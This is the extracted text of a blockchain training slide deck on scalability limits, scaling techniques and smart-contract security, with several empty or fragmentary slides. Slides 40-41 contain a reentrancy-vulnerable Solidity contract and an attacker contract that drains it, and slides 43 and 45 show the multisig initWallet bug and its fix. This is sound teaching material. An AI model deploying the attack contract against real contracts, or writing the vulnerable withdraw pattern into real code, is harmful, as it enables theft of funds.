Slide 1

Slide 1 text

Blockchain Trainer

Slide 2

Slide 2 text

Blockchain Trainer /in/Thedi /ghkgk www.Nikolaytech.com

Slide 3

Slide 3 text

No content

Slide 4

Slide 4 text

No content

Slide 5

Slide 5 text

Blockchain Operations Read Write

Slide 6

Slide 6 text

Write Operation

Slide 7

Slide 7 text

Reach an Agreement

Slide 8

Slide 8 text

No content

Slide 9

Slide 9 text

Transaction latency

Slide 10

Slide 10 text

Block Size +

Slide 11

Slide 11 text

tps per second

Slide 12

Slide 12 text

Ethereum 20 tps (PoW) Bitcoin cash 60 tps (PoW) Ripple 1500 tps (RPCA)

Slide 13

Slide 13 text

We need Bigger throughput

Slide 14

Slide 14 text

Visa handles 56 000 tps Expensive transaction fees (0,20$ - 0,50$)

Slide 15

Slide 15 text

No content

Slide 16

Slide 16 text

Transactions Latency Internal Time Interval

Slide 17

Slide 17 text

Litecoin every 2.5 minutes

Slide 18

Slide 18 text

Transactions Latency

Slide 19

Slide 19 text

You decide the F ee Higher fee =

Slide 20

Slide 20 text

Bitcoin ~0,50$ Ethereum ~0,15$

Slide 21

Slide 21 text

Transactions F ees Bitcoin ~50$ Ethereum ~4$ Highest Ever January 2018

Slide 22

Slide 22 text

Transactions F ees

Slide 23

Slide 23 text

Storage Bitcoin 219 GB

Slide 24

Slide 24 text

Storage

Slide 25

Slide 25 text

No content

Slide 26

Slide 26 text

No content

Slide 27

Slide 27 text

Lightning Network

Slide 28

Slide 28 text

Lightning Network Reduces the load on the Chain

Slide 29

Slide 29 text

No content

Slide 30

Slide 30 text

Sharding Splits Network into Shards More Performance =

Slide 31

Slide 31 text

Sharding Everything Stays the Same Developing DApps

Slide 32

Slide 32 text

Sharding Challenges Proof of Stake is Single-shard takeover Cross Shard communication

Slide 33

Slide 33 text

No content

Slide 34

Slide 34 text

Raiden Bitcoin Lightning Network Supports ERC 20 tokens =

Slide 35

Slide 35 text

Plasma Snarks Zk-SNARKs

Slide 36

Slide 36 text

No content

Slide 37

Slide 37 text

Smart Contracts Difficult to Write Bug-free Code Different Approach required

Slide 38

Slide 38 text

1M+ BTC 5M+ ETH 20 000 000 000$ 6 500 000 000$

Slide 39

Slide 39 text

3 600 000 ETH Stolen Leads to Fork

Slide 40

Slide 40 text

contract HoneyPot { mapping (address => uint) public balances; function deposit() public payable { balances[msg.sender] += msg.value; } function withdraw() public { require(balances[msg.sender] > 0); if (!msg.sender.call.value(balances[msg.sender])()) revert(); balances[msg.sender] = 0; } }

Slide 41

Slide 41 text

contract HoneyPotHacker { HoneyPot private honeypot; function HoneyPotHacker(address a) public payable { honeypot = HoneyPot(a); } function collectMoney() public payable { honeypot.deposit.value(msg.value)(); honeypot.withdraw(); selfdestruct(msg.sender); } function() external payable { if (honeypot.balance >= msg.value) { honeypot.withdraw(); } } }

Slide 42

Slide 42 text

Multi-Signature wallet InitWallet Bug

Slide 43

Slide 43 text

function initWallet (address[] _owners, uint _required, uint _daylimit) { initDaylimit(_daylimit); initMultiowned(_owners, _required); }

Slide 44

Slide 44 text

No content

Slide 45

Slide 45 text

function initWallet (address[] _owners, uint _required, uint _daylimit) only_uninitialized { initDaylimit(_daylimit); initMultiowned(_owners, _required); }

Slide 46

Slide 46 text

Issues of Tomorrow

Slide 47

Slide 47 text

Quantum Computing Computers will only improve Quantum Safe Cryptography

Slide 48

Slide 48 text

Normal People Adoption is Hard Security is Hard 5% of the People cannot Remember Single Password People get Angry

Slide 49

Slide 49 text

Cross Platform Development Many Platforms is Bad Cross-Browser development States persist in single chain

Slide 50

Slide 50 text

Thanks! Any questions? Find me @ Nikolay Angelov /ghkgk /in/Thedi www.Nikolaytech.com